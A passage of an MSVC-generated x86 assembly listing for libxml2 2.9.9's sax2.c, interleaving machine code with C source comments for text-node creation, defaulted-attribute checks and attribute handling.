OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _str$[ebp] mov eax, edi mov edx, DWORD PTR _end$[ebp] cmp edi, edx jae SHORT $LN3@xmlSAX2Dec npad 6 $LL2@xmlSAX2Dec: ; 1951 : if (*in++ == '&') mov cl, BYTE PTR [eax] inc eax cmp cl, 38 ; 00000026H je SHORT $decode$11 ; 1946 : const xmlChar *in; ; 1947 : xmlChar *ret; ; 1948 : ; 1949 : in = str; ; 1950 : while (in < end) cmp eax, edx jb SHORT $LL2@xmlSAX2Dec $LN3@xmlSAX2Dec: ; 1952 : goto decode; ; 1953 : return(NULL); xor eax, eax pop edi ; 1960 : } pop ebp ret 0 $decode$11: push esi ; 1954 : decode: ; 1955 : ctxt->depth++; mov esi, DWORD PTR _ctxt$[ebp] ; 1956 : ret = xmlStringLenDecodeEntities(ctxt, str, end - str, sub edx, edi push 0 push 0 push 0 inc DWORD PTR [esi+248] push 1 push edx push edi push esi call _xmlStringLenDecodeEntities add esp, 28 ; 0000001cH ; 1957 : XML_SUBSTITUTE_REF, 0,0,0); ; 1958 : ctxt->depth--; dec DWORD PTR [esi+248] ; 1959 : return(ret); pop esi pop edi ; 1960 : } pop ebp ret 0 _xmlSAX2DecodeAttrEntities ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2TextNode _TEXT SEGMENT _intern$1$ = 8 ; size = 4 _ctxt$ = 8 ; size = 4 _str$ = 12 ; size = 4 _len$ = 16 ; size = 4 _xmlSAX2TextNode PROC ; COMDAT ; 1855 : xmlSAX2TextNode(xmlParserCtxtPtr ctxt, const xmlChar *str, int len) { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _ctxt$[ebp] mov esi, DWORD PTR [edi+372] test esi, esi je SHORT $LN5@xmlSAX2Tex ; 1856 : xmlNodePtr ret; ; 1857 : const xmlChar *intern = NULL; ; 1858 : ; 1859 : /* ; 1860 : * Allocate ; 1861 : */ ; 1862 : if (ctxt->freeElems != NULL) { ; 1863 : ret = ctxt->freeElems; ; 1864 : ctxt->freeElems = ret->next; ; 1865 : ctxt->freeElemsNr--; mov eax, DWORD PTR [esi+24] dec DWORD PTR [edi+368] mov DWORD PTR [edi+372], eax ; 1866 : } else { jmp SHORT $LN6@xmlSAX2Tex $LN5@xmlSAX2Tex: ; 1867 : ret = (xmlNodePtr) xmlMalloc(sizeof(xmlNode)); push 60 ; 0000003cH call DWORD PTR _xmlMalloc add esp, 4 mov esi, eax $LN6@xmlSAX2Tex: ; 1868 : } ; 1869 : if (ret == NULL) { test esi, esi jne SHORT $LN7@xmlSAX2Tex ; 1870 : xmlErrMemory(ctxt, "xmlSAX2Characters"); push OFFSET ??_C@_0BC@IJLHKBBO@xmlSAX2Characters@ push edi call _xmlErrMemory add esp, 8 ; 1871 : return(NULL); xor eax, eax pop edi ; 1930 : } pop esi pop ebp ret 0 $LN7@xmlSAX2Tex: push ebx ; 1872 : } ; 1873 : memset(ret, 0, sizeof(xmlNode)); push 60 ; 0000003cH push 0 push esi call _memset ; 1874 : /* ; 1875 : * intern the formatting blanks found between tags, or the ; 1876 : * very short strings ; 1877 : */ ; 1878 : if (ctxt->dictNames) { mov ebx, DWORD PTR _len$[ebp] add esp, 12 ; 0000000cH cmp DWORD PTR [edi+364], 0 mov edx, DWORD PTR _str$[ebp] je $LN39@xmlSAX2Tex ; 1879 : xmlChar cur = str[len]; mov cl, BYTE PTR [edx+ebx] ; 1880 : ; 1881 : if ((len < (int) (2 * sizeof(void *))) && cmp ebx, 8 jge SHORT $LN9@xmlSAX2Tex test DWORD PTR [edi+360], 65536 ; 00010000H je SHORT $LN9@xmlSAX2Tex ; 1882 : (ctxt->options & XML_PARSE_COMPACT)) { ; 1883 : /* store the string in the node overriding properties and nsDef */ ; 1884 : xmlChar *tmp = (xmlChar *) &(ret->properties); ; 1885 : memcpy(tmp, str, len); push ebx lea eax, DWORD PTR [esi+44] push edx push eax mov DWORD PTR _intern$1$[ebp], eax call _memcpy ; 1886 : tmp[len] = 0; mov eax, DWORD PTR _intern$1$[ebp] add esp, 12 ; 0000000cH ; 1887 : intern = tmp; mov edx, DWORD PTR _str$[ebp] mov BYTE PTR [eax+ebx], 0 jmp SHORT $skip$43 $LN9@xmlSAX2Tex: ; 1888 : } else if ((len <= 3) && ((cur == '"') || (cur == '\'') || cmp ebx, 3 jg SHORT $LN11@xmlSAX2Tex cmp cl, 34 ; 00000022H je SHORT $LN13@xmlSAX2Tex cmp cl, 39 ; 00000027H je SHORT $LN13@xmlSAX2Tex cmp cl, 60 ; 0000003cH jne SHORT $LN11@xmlSAX2Tex cmp BYTE PTR [edx+ebx+1], 33 ; 00000021H je SHORT $LN11@xmlSAX2Tex $LN13@xmlSAX2Tex: ; 1897 : } ; 1898 : intern = xmlDictLookup(ctxt->dict, str, len); ; 1899 : } ; 1900 : } ; 1901 : skip: ; 1902 : ret->type = XML_TEXT_NODE; push ebx push edx push DWORD PTR [edi+296] call _xmlDictLookup mov edx, DWORD PTR _str$[ebp] add esp, 12 ; 0000000cH jmp SHORT $skip$43 $LN11@xmlSAX2Tex: ; 1889 : ((cur == '<') && (str[len + 1] != '!')))) { ; 1890 : intern = xmlDictLookup(ctxt->dict, str, len); ; 1891 : } else if (IS_BLANK_CH(*str) && (len < 60) && (cur == '<') && mov al, BYTE PTR [edx] cmp al, 32 ; 00000020H je SHORT $LN15@xmlSAX2Tex cmp al, 9 jb SHORT $LN16@xmlSAX2Tex cmp al, 10 ; 0000000aH jbe SHORT $LN15@xmlSAX2Tex $LN16@xmlSAX2Tex: cmp al, 13 ; 0000000dH jne SHORT $LN39@xmlSAX2Tex $LN15@xmlSAX2Tex: cmp ebx, 60 ; 0000003cH jge SHORT $LN39@xmlSAX2Tex cmp cl, 60 ; 0000003cH jne SHORT $LN39@xmlSAX2Tex cmp BYTE PTR [edx+ebx+1], 33 ; 00000021H je SHORT $LN39@xmlSAX2Tex ; 1892 : (str[len + 1] != '!')) { ; 1893 : int i; ; 1894 : ; 1895 : for (i = 1;i < len;i++) { mov ecx, 1 cmp ebx, ecx jle SHORT $LN13@xmlSAX2Tex $LL4@xmlSAX2Tex: ; 1896 : if (!IS_BLANK_CH(str[i])) goto skip; mov al, BYTE PTR [ecx+edx] cmp al, 32 ; 00000020H je SHORT $LN2@xmlSAX2Tex cmp al, 9 jb SHORT $LN18@xmlSAX2Tex cmp al, 10 ; 0000000aH jbe SHORT $LN2@xmlSAX2Tex $LN18@xmlSAX2Tex: cmp al, 13 ; 0000000dH jne SHORT $LN39@xmlSAX2Tex $LN2@xmlSAX2Tex: ; 1892 : (str[len + 1] != '!')) { ; 1893 : int i; ; 1894 : ; 1895 : for (i = 1;i < len;i++) { inc ecx cmp ecx, ebx jl SHORT $LL4@xmlSAX2Tex ; 1874 : /* ; 1875 : * intern the formatting blanks found between tags, or the ; 1876 : * very short strings ; 1877 : */ ; 1878 : if (ctxt->dictNames) { jmp SHORT $LN13@xmlSAX2Tex $LN39@xmlSAX2Tex: ; 1897 : } ; 1898 : intern = xmlDictLookup(ctxt->dict, str, len); ; 1899 : } ; 1900 : } ; 1901 : skip: ; 1902 : ret->type = XML_TEXT_NODE; xor eax, eax $skip$43: mov DWORD PTR [esi+4], 3 ; 1903 : ; 1904 : ret->name = xmlStringText; mov DWORD PTR [esi+8], OFFSET _xmlStringText ; 1905 : if (intern == NULL) { test eax, eax jne SHORT $LN19@xmlSAX2Tex ; 1906 : ret->content = xmlStrndup(str, len); push ebx push edx call _xmlStrndup add esp, 8 mov DWORD PTR [esi+40], eax ; 1907 : if (ret->content == NULL) { test eax, eax jne SHORT $LN20@xmlSAX2Tex ; 1908 : xmlSAX2ErrMemory(ctxt, "xmlSAX2TextNode"); push OFFSET ??_C@_0BA@DNIHONAO@xmlSAX2TextNode@ push edi call _xmlSAX2ErrMemory ; 1909 : xmlFree(ret); push esi call DWORD PTR _xmlFree add esp, 12 ; 0000000cH ; 1910 : return(NULL); xor eax, eax pop ebx pop edi ; 1930 : } pop esi pop ebp ret 0 $LN19@xmlSAX2Tex: ; 1911 : } ; 1912 : } else ; 1913 : ret->content = (xmlChar *) intern; mov DWORD PTR [esi+40], eax $LN20@xmlSAX2Tex: ; 1914 : ; 1915 : if (ctxt->linenumbers) { cmp DWORD PTR [edi+280], 0 je SHORT $LN26@xmlSAX2Tex ; 1916 : if (ctxt->input != NULL) { mov eax, DWORD PTR [edi+36] test eax, eax je SHORT $LN26@xmlSAX2Tex ; 1917 : if (ctxt->input->line < 65535) mov eax, DWORD PTR [eax+28] cmp eax, 65535 ; 0000ffffH jge SHORT $LN24@xmlSAX2Tex ; 1918 : ret->line = (short) ctxt->input->line; mov WORD PTR [esi+56], ax jmp SHORT $LN26@xmlSAX2Tex $LN24@xmlSAX2Tex: ; 1919 : else { ; 1920 : ret->line = 65535; mov eax, 65535 ; 0000ffffH mov WORD PTR [esi+56], ax ; 1921 : if (ctxt->options & XML_PARSE_BIG_LINES) test DWORD PTR [edi+360], 4194304 ; 00400000H je SHORT $LN26@xmlSAX2Tex ; 1922 : ret->psvi = (void *) (ptrdiff_t) ctxt->input->line; mov eax, DWORD PTR [edi+36] mov eax, DWORD PTR [eax+28] mov DWORD PTR [esi+52], eax $LN26@xmlSAX2Tex: ; 1923 : } ; 1924 : } ; 1925 : } ; 1926 : ; 1927 : if ((__xmlRegisterCallbacks) && (xmlRegisterNodeDefaultValue)) cmp DWORD PTR ___xmlRegisterCallbacks, 0 je SHORT $LN27@xmlSAX2Tex call ___xmlRegisterNodeDefaultValue cmp DWORD PTR [eax], 0 je SHORT $LN27@xmlSAX2Tex ; 1928 : xmlRegisterNodeDefaultValue(ret); call ___xmlRegisterNodeDefaultValue push esi mov eax, DWORD PTR [eax] call eax add esp, 4 $LN27@xmlSAX2Tex: ; 1929 : return(ret); pop ebx pop edi mov eax, esi ; 1930 : } pop esi pop ebp ret 0 _xmlSAX2TextNode ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlCheckDefaultedAttributes _TEXT SEGMENT _fn$1 = -64 ; size = 50 _internal$1$ = -12 ; size = 4 _elemDecl$1$ = -8 ; size = 4 _fulln$1$ = -4 ; size = 4 _fulln$3$ = -4 ; size = 4 _ctxt$ = 8 ; size = 4 _name$ = 12 ; size = 4 _prefix$ = 16 ; size = 4 _atts$ = 20 ; size = 4 _xmlCheckDefaultedAttributes PROC ; COMDAT ; 1437 : const xmlChar *prefix, const xmlChar **atts) { push ebp mov ebp, esp sub esp, 64 ; 00000040H push ebx push esi push edi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _ctxt$[ebp] mov ebx, DWORD PTR _prefix$[ebp] mov esi, DWORD PTR _name$[ebp] push ebx mov eax, DWORD PTR [edi+8] push esi mov DWORD PTR _internal$1$[ebp], 1 push DWORD PTR [eax+44] call _xmlGetDtdQElementDesc add esp, 12 ; 0000000cH mov DWORD PTR _elemDecl$1$[ebp], eax test eax, eax jne SHORT $process_external_subset$110 ; 1438 : xmlElementPtr elemDecl; ; 1439 : const xmlChar *att; ; 1440 : int internal = 1; ; 1441 : int i; ; 1442 : ; 1443 : elemDecl = xmlGetDtdQElementDesc(ctxt->myDoc->intSubset, name, prefix); ; 1444 : if (elemDecl == NULL) { ; 1445 : elemDecl = xmlGetDtdQElementDesc(ctxt->myDoc->extSubset, name, prefix); mov eax, DWORD PTR [edi+8] push ebx push esi push DWORD PTR [eax+48] call _xmlGetDtdQElementDesc add esp, 12 ; 0000000cH mov DWORD PTR _elemDecl$1$[ebp], eax ; 1446 : internal = 0; mov DWORD PTR _internal$1$[ebp], 0 ; 1447 : } ; 1448 : ; 1449 : process_external_subset: ; 1450 : ; 1451 : if (elemDecl != NULL) { test eax, eax je $LN87@xmlCheckDe npad 4 $process_external_subset$110: ; 1452 : xmlAttributePtr attr = elemDecl->attributes; mov ebx, DWORD PTR [eax+44] ; 1453 : /* ; 1454 : * Check against defaulted attributes from the external subset ; 1455 : * if the document is stamped as standalone ; 1456 : */ ; 1457 : if ((ctxt->myDoc->standalone == 1) && ; 1458 : (ctxt->myDoc->extSubset != NULL) && mov eax, DWORD PTR [edi+8] cmp DWORD PTR [eax+40], 1 jne $LN86@xmlCheckDe cmp DWORD PTR [eax+48], 0 je $LN86@xmlCheckDe cmp DWORD PTR [edi+104], 0 je $LN86@xmlCheckDe ; 1459 : (ctxt->validate)) { ; 1460 : while (attr != NULL) { test ebx, ebx je $LN86@xmlCheckDe npad 4 $LL2@xmlCheckDe: ; 1461 : if ((attr->defaultValue != NULL) && ; 1462 : (xmlGetDtdQAttrDesc(ctxt->myDoc->extSubset, ; 1463 : attr->elem, attr->name, ; 1464 : attr->prefix) == attr) && cmp DWORD PTR [ebx+48], 0 je $LN13@xmlCheckDe push DWORD PTR [ebx+56] mov eax, DWORD PTR [edi+8] push DWORD PTR [ebx+8] push DWORD PTR [ebx+60] push DWORD PTR [eax+48] call _xmlGetDtdQAttrDesc add esp, 16 ; 00000010H cmp eax, ebx jne $LN13@xmlCheckDe push DWORD PTR [ebx+56] mov eax, DWORD PTR [edi+8] push DWORD PTR [ebx+8] push DWORD PTR [ebx+60] push DWORD PTR [eax+44] call _xmlGetDtdQAttrDesc add esp, 16 ; 00000010H test eax, eax jne $LN13@xmlCheckDe ; 1465 : (xmlGetDtdQAttrDesc(ctxt->myDoc->intSubset, ; 1466 : attr->elem, attr->name, ; 1467 : attr->prefix) == NULL)) { ; 1468 : xmlChar *fulln; ; 1469 : ; 1470 : if (attr->prefix != NULL) { mov eax, DWORD PTR [ebx+56] test eax, eax je SHORT $LN14@xmlCheckDe ; 1471 : fulln = xmlStrdup(attr->prefix); push eax call _xmlStrdup ; 1472 : fulln = xmlStrcat(fulln, BAD_CAST ":"); push OFFSET ??_C@_01JLIPDDHJ@?3@ push eax call _xmlStrcat ; 1473 : fulln = xmlStrcat(fulln, attr->name); push DWORD PTR [ebx+8] push eax call _xmlStrcat add esp, 20 ; 00000014H ; 1474 : } else { jmp SHORT $LN106@xmlCheckDe $LN14@xmlCheckDe: ; 1475 : fulln = xmlStrdup(attr->name); push DWORD PTR [ebx+8] call _xmlStrdup add esp, 4 $LN106@xmlCheckDe: ; 1476 : } ; 1477 : if (fulln == NULL) { mov DWORD PTR _fulln$3$[ebp], eax test eax, eax je SHORT $LN40@xmlCheckDe ; 1479 : break; ; 1480 : } ; 1481 : ; 1482 : /* ; 1483 : * Check that the attribute is not declared in the ; 1484 : * serialization ; 1485 : */ ; 1486 : att = NULL; ; 1487 : if (atts != NULL) { mov ecx, DWORD PTR _atts$[ebp] test ecx, ecx je SHORT $LN59@xmlCheckDe ; 1488 : i = 0; ; 1489 : att = atts[i]; mov esi, DWORD PTR [ecx] ; 1490 : while (att != NULL) { test esi, esi je SHORT $LN59@xmlCheckDe ; 1488 : i = 0; ; 1489 : att = atts[i]; mov edi, ecx npad 1 $LL4@xmlCheckDe: ; 1491 : if (xmlStrEqual(att, fulln)) push eax push esi call _xmlStrEqual add esp, 8 test eax, eax jne SHORT $LN39@xmlCheckDe ; 1492 : break; ; 1493 : i += 2; ; 1494 : att = atts[i]; mov esi, DWORD PTR [edi+8] add edi, 8 mov eax, DWORD PTR _fulln$3$[ebp] test esi, esi jne SHORT $LL4@xmlCheckDe ; 1495 : } ; 1496 : } ; 1497 : if (att == NULL) { jmp SHORT $LN107@xmlCheckDe $LN39@xmlCheckDe: test esi, esi jne SHORT $LN100@xmlCheckDe $LN107@xmlCheckDe: ; 1498 : xmlErrValid(ctxt, XML_DTD_STANDALONE_DEFAULTED, mov edi, DWORD PTR _ctxt$[ebp] mov eax, DWORD PTR _fulln$3$[ebp] $LN59@xmlCheckDe: push DWORD PTR [ebx+60] push eax push OFFSET ??_C@_0DP@KFNFGALP@standalone?3?5attribute?5?$CFs?5on?5?$CFs?5@ push 538 ; 0000021aH push edi call _xmlErrValid add esp, 20 ; 00000014H jmp SHORT $LN19@xmlCheckDe $LN100@xmlCheckDe: ; 1495 : } ; 1496 : } ; 1497 : if (att == NULL) { mov edi, DWORD PTR _ctxt$[ebp] $LN19@xmlCheckDe: ; 1499 : "standalone: attribute %s on %s defaulted from external subset\n", ; 1500 : (const char *)fulln, ; 1501 : (const char *)attr->elem); ; 1502 : } ; 1503 : xmlFree(fulln); push DWORD PTR _fulln$3$[ebp] call DWORD PTR _xmlFree add esp, 4 $LN13@xmlCheckDe: ; 1504 : } ; 1505 : attr = attr->nexth; mov ebx, DWORD PTR [ebx+36] test ebx, ebx jne $LL2@xmlCheckDe ; 1459 : (ctxt->validate)) { ; 1460 : while (attr != NULL) { jmp SHORT $LN86@xmlCheckDe $LN40@xmlCheckDe: ; 1478 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElement"); push OFFSET ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ push edi call _xmlSAX2ErrMemory add esp, 8 $LN86@xmlCheckDe: ; 1506 : } ; 1507 : } ; 1508 : ; 1509 : /* ; 1510 : * Actually insert defaulted values when needed ; 1511 : */ ; 1512 : attr = elemDecl->attributes; mov edi, DWORD PTR _elemDecl$1$[ebp] mov edi, DWORD PTR [edi+44] ; 1513 : while (attr != NULL) { test edi, edi je $LN7@xmlCheckDe npad 8 $LL6@xmlCheckDe: ; 1514 : /* ; 1515 : * Make sure that attributes redefinition occuring in the ; 1516 : * internal subset are not overriden by definitions in the ; 1517 : * external subset. ; 1518 : */ ; 1519 : if (attr->defaultValue != NULL) { cmp DWORD PTR [edi+48], 0 je $LN31@xmlCheckDe ; 1520 : /* ; 1521 : * the element should be instantiated in the tree if: ; 1522 : * - this is a namespace prefix ; 1523 : * - the user required for completion in the tree ; 1524 : * like XSLT ; 1525 : * - there isn't already an attribute definition ; 1526 : * in the internal subset overriding it. ; 1527 : */ ; 1528 : if (((attr->prefix != NULL) && ; 1529 : (xmlStrEqual(attr->prefix, BAD_CAST "xmlns"))) || ; 1530 : ((attr->prefix == NULL) && ; 1531 : (xmlStrEqual(attr->name, BAD_CAST "xmlns"))) || mov eax, DWORD PTR [edi+56] test eax, eax je SHORT $LN23@xmlCheckDe push OFFSET ??_C@_05PPEFOGKI@xmlns@ push eax call _xmlStrEqual add esp, 8 test eax, eax jne SHORT $LN99@xmlCheckDe $LN23@xmlCheckDe: cmp DWORD PTR [edi+56], 0 jne SHORT $LN24@xmlCheckDe push OFFSET ??_C@_05PPEFOGKI@xmlns@ push DWORD PTR [edi+8] call _xmlStrEqual add esp, 8 test eax, eax jne SHORT $LN99@xmlCheckDe $LN24@xmlCheckDe: mov eax, DWORD PTR _ctxt$[ebp] test BYTE PTR [eax+276], 4 je $LN31@xmlCheckDe jmp SHORT $LN22@xmlCheckDe $LN99@xmlCheckDe: ; 1532 : (ctxt->loadsubset & XML_COMPLETE_ATTRS)) { ; 1533 : xmlAttributePtr tst; ; 1534 : ; 1535 : tst = xmlGetDtdQAttrDesc(ctxt->myDoc->intSubset, mov eax, DWORD PTR _ctxt$[ebp] $LN22@xmlCheckDe: push DWORD PTR [edi+56] mov eax, DWORD PTR [eax+8] push DWORD PTR [edi+8] push DWORD PTR [edi+60] push DWORD PTR [eax+44] call _xmlGetDtdQAttrDesc add esp, 16 ; 00000010H ; 1536 : attr->elem, attr->name, ; 1537 : attr->prefix); ; 1538 : if ((tst == attr) || (tst == NULL)) { cmp eax, edi je SHORT $LN26@xmlCheckDe test eax, eax jne SHORT $LN31@xmlCheckDe $LN26@xmlCheckDe: ; 1539 : xmlChar fn[50]; ; 1540 : xmlChar *fulln; ; 1541 : ; 1542 : fulln = xmlBuildQName(attr->name, attr->prefix, fn, 50); push 50 ; 00000032H lea eax, DWORD PTR _fn$1[ebp] push eax push DWORD PTR [edi+56] push DWORD PTR [edi+8] call _xmlBuildQName add esp, 16 ; 00000010H mov DWORD PTR _fulln$1$[ebp], eax ; 1543 : if (fulln == NULL) { test eax, eax je $LN42@xmlCheckDe ; 1545 : return; ; 1546 : } ; 1547 : ; 1548 : /* ; 1549 : * Check that the attribute is not declared in the ; 1550 : * serialization ; 1551 : */ ; 1552 : att = NULL; ; 1553 : if (atts != NULL) { mov ecx, DWORD PTR _atts$[ebp] test ecx, ecx je SHORT $LN58@xmlCheckDe ; 1554 : i = 0; ; 1555 : att = atts[i]; mov esi, DWORD PTR [ecx] ; 1556 : while (att != NULL) { test esi, esi je SHORT $LN58@xmlCheckDe ; 1554 : i = 0; ; 1555 : att = atts[i]; mov ebx, ecx npad 1 $LL8@xmlCheckDe: ; 1557 : if (xmlStrEqual(att, fulln)) push eax push esi call _xmlStrEqual add esp, 8 test eax, eax jne SHORT $LN41@xmlCheckDe ; 1558 : break; ; 1559 : i += 2; ; 1560 : att = atts[i]; mov esi, DWORD PTR [ebx+8] add ebx, 8 mov eax, DWORD PTR _fulln$1$[ebp] test esi, esi jne SHORT $LL8@xmlCheckDe ; 1561 : } ; 1562 : } ; 1563 : if (att == NULL) { jmp SHORT $LN108@xmlCheckDe $LN41@xmlCheckDe: test esi, esi jne SHORT $LN30@xmlCheckDe $LN108@xmlCheckDe: ; 1564 : xmlSAX2AttributeInternal(ctxt, fulln, mov eax, DWORD PTR _fulln$1$[ebp] $LN58@xmlCheckDe: push DWORD PTR _prefix$[ebp] push DWORD PTR [edi+48] push eax push DWORD PTR _ctxt$[ebp] call _xmlSAX2AttributeInternal add esp, 16 ; 00000010H $LN30@xmlCheckDe: ; 1565 : attr->defaultValue, prefix); ; 1566 : } ; 1567 : if ((fulln != fn) && (fulln != attr->name)) mov eax, DWORD PTR _fulln$1$[ebp] lea ecx, DWORD PTR _fn$1[ebp] cmp eax, ecx je SHORT $LN31@xmlCheckDe cmp eax, DWORD PTR [edi+8] je SHORT $LN31@xmlCheckDe ; 1568 : xmlFree(fulln); push eax call DWORD PTR _xmlFree add esp, 4 $LN31@xmlCheckDe: ; 1569 : } ; 1570 : } ; 1571 : } ; 1572 : attr = attr->nexth; mov edi, DWORD PTR [edi+36] test edi, edi jne $LL6@xmlCheckDe $LN7@xmlCheckDe: ; 1573 : } ; 1574 : if (internal == 1) { cmp DWORD PTR _internal$1$[ebp], 1 jne SHORT $LN87@xmlCheckDe ; 1575 : elemDecl = xmlGetDtdQElementDesc(ctxt->myDoc->extSubset, mov edi, DWORD PTR _ctxt$[ebp] push DWORD PTR _prefix$[ebp] push DWORD PTR _name$[ebp] mov eax, DWORD PTR [edi+8] push DWORD PTR [eax+48] call _xmlGetDtdQElementDesc add esp, 12 ; 0000000cH mov DWORD PTR _elemDecl$1$[ebp], eax ; 1576 : name, prefix); ; 1577 : internal = 0; mov DWORD PTR _internal$1$[ebp], 0 test eax, eax jne $process_external_subset$110 ; 1578 : goto process_external_subset; ; 1579 : } ; 1580 : } ; 1581 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN42@xmlCheckDe: ; 1544 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElement"); push OFFSET ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ push DWORD PTR _ctxt$[ebp] call _xmlSAX2ErrMemory add esp, 8 $LN87@xmlCheckDe: ; 1578 : goto process_external_subset; ; 1579 : } ; 1580 : } ; 1581 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 _xmlCheckDefaultedAttributes ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2AttributeInternal _TEXT SEGMENT _nvalnorm$1$ = -12 ; size = 4 _nsret$1$ = -12 ; size = 4 _uri$1$ = -12 ; size = 4 _uri$1$ = -12 ; size = 4 _nval$1$ = -8 ; size = 4 _ns$ = -4 ; size = 4 _val$1$ = 8 ; size = 4 _val$1$ = 8 ; size = 4 _val$1$ = 8 ; size = 4 _namespace$1$ = 8 ; size = 4 _ctx$ = 8 ; size = 4 _fullname$ = 12 ; size = 4 _value$ = 16 ; size = 4 _prefix$ = 20 ; size = 4 _xmlSAX2AttributeInternal PROC ; COMDAT ; 1098 : { push ebp mov ebp, esp sub esp, 12 ; 0000000cH mov ecx, OFFSET __A8525CDE_sax2@c push ebx push esi push edi call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] mov ebx, DWORD PTR _fullname$[ebp] cmp DWORD PTR [esi+32], 0 je SHORT $LN6@xmlSAX2Att ; 1099 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 1100 : xmlAttrPtr ret; ; 1101 : xmlChar *name; ; 1102 : xmlChar *ns; ; 1103 : xmlChar *nval; ; 1104 : xmlNsPtr namespace; ; 1105 : ; 1106 : if (ctxt->html) { ; 1107 : name = xmlStrdup(fullname); push ebx call _xmlStrdup add esp, 4 ; 1108 : ns = NULL; mov DWORD PTR _ns$[ebp], 0 ; 1109 : namespace = NULL; ; 1110 : } else { jmp SHORT $LN103@xmlSAX2Att $LN6@xmlSAX2Att: ; 1111 : /* ; 1112 : * Split the full name into a namespace prefix and the tag name ; 1113 : */ ; 1114 : name = xmlSplitQName(ctxt, fullname, &ns); lea eax, DWORD PTR _ns$[ebp] push eax push ebx push esi call _xmlSplitQName mov edi, eax add esp, 12 ; 0000000cH ; 1115 : if ((name != NULL) && (name[0] == 0)) { test edi, edi je $LN92@xmlSAX2Att cmp BYTE PTR [edi], 0 jne SHORT $LN8@xmlSAX2Att ; 1116 : if (xmlStrEqual(ns, BAD_CAST "xmlns")) { push OFFSET ??_C@_05PPEFOGKI@xmlns@ push DWORD PTR _ns$[ebp] call _xmlStrEqual add esp, 8 push 0 push ebx test eax, eax je SHORT $LN9@xmlSAX2Att ; 1117 : xmlNsErrMsg(ctxt, XML_ERR_NS_DECL_ERROR, push OFFSET ??_C@_0CE@IJLGNIDG@invalid?5namespace?5declaration?5?8@ push 35 ; 00000023H push esi call _xmlNsErrMsg ; 1118 : "invalid namespace declaration '%s'\n", ; 1119 : fullname, NULL); ; 1120 : } else { jmp SHORT $LN104@xmlSAX2Att $LN9@xmlSAX2Att: ; 1121 : xmlNsWarnMsg(ctxt, XML_WAR_NS_COLUMN, push OFFSET ??_C@_0CL@HKIDFKGE@Avoid?5attribute?5ending?5with?5?8?3?8@ push 106 ; 0000006aH push esi call _xmlNsWarnMsg $LN104@xmlSAX2Att: ; 1122 : "Avoid attribute ending with ':' like '%s'\n", ; 1123 : fullname, NULL); ; 1124 : } ; 1125 : if (ns != NULL) mov eax, DWORD PTR _ns$[ebp] add esp, 20 ; 00000014H test eax, eax je SHORT $LN11@xmlSAX2Att ; 1126 : xmlFree(ns); push eax call DWORD PTR _xmlFree add esp, 4 $LN11@xmlSAX2Att: ; 1127 : ns = NULL; ; 1128 : xmlFree(name); push edi mov DWORD PTR _ns$[ebp], 0 call DWORD PTR _xmlFree ; 1129 : name = xmlStrdup(fullname); push ebx call _xmlStrdup add esp, 8 $LN103@xmlSAX2Att: ; 1130 : } ; 1131 : } ; 1132 : if (name == NULL) { mov edi, eax $LN8@xmlSAX2Att: test edi, edi je $LN92@xmlSAX2Att ; 1134 : if (ns != NULL) ; 1135 : xmlFree(ns); ; 1136 : return; ; 1137 : } ; 1138 : ; 1139 : #ifdef LIBXML_HTML_ENABLED ; 1140 : if ((ctxt->html) && ; 1141 : (value == NULL) && (htmlIsBooleanAttr(fullname))) { cmp DWORD PTR [esi+32], 0 mov ebx, DWORD PTR _value$[ebp] je SHORT $LN14@xmlSAX2Att test ebx, ebx jne SHORT $LN14@xmlSAX2Att push DWORD PTR _fullname$[ebp] call _htmlIsBooleanAttr add esp, 4 test eax, eax je SHORT $LN14@xmlSAX2Att ; 1142 : nval = xmlStrdup(fullname); push DWORD PTR _fullname$[ebp] call _xmlStrdup mov ecx, eax add esp, 4 mov DWORD PTR _nval$1$[ebp], ecx ; 1143 : value = (const xmlChar *) nval; mov ebx, ecx mov DWORD PTR _value$[ebp], ecx ; 1144 : } else jmp SHORT $LN17@xmlSAX2Att $LN14@xmlSAX2Att: ; 1145 : #endif ; 1146 : { ; 1147 : #ifdef LIBXML_VALID_ENABLED ; 1148 : /* ; 1149 : * Do the last stage of the attribute normalization ; 1150 : * Needed for HTML too: ; 1151 : * http://www.w3.org/TR/html4/types.html#h-6.2 ; 1152 : */ ; 1153 : ctxt->vctxt.valid = 1; ; 1154 : nval = xmlValidCtxtNormalizeAttributeValue(&ctxt->vctxt, push ebx push DWORD PTR _fullname$[ebp] lea eax, DWORD PTR [esi+108] mov DWORD PTR [esi+144], 1 push DWORD PTR [esi+52] push DWORD PTR [esi+8] push eax call _xmlValidCtxtNormalizeAttributeValue add esp, 20 ; 00000014H mov ecx, eax ; 1155 : ctxt->myDoc, ctxt->node, ; 1156 : fullname, value); ; 1157 : if (ctxt->vctxt.valid != 1) { cmp DWORD PTR [esi+144], 1 mov DWORD PTR _nval$1$[ebp], ecx je SHORT $LN16@xmlSAX2Att ; 1158 : ctxt->valid = 0; mov DWORD PTR [esi+100], 0 $LN16@xmlSAX2Att: ; 1159 : } ; 1160 : if (nval != NULL) test ecx, ecx cmovne ebx, ecx mov DWORD PTR _value$[ebp], ebx $LN17@xmlSAX2Att: ; 1161 : value = nval; ; 1162 : #else ; 1163 : nval = NULL; ; 1164 : #endif /* LIBXML_VALID_ENABLED */ ; 1165 : } 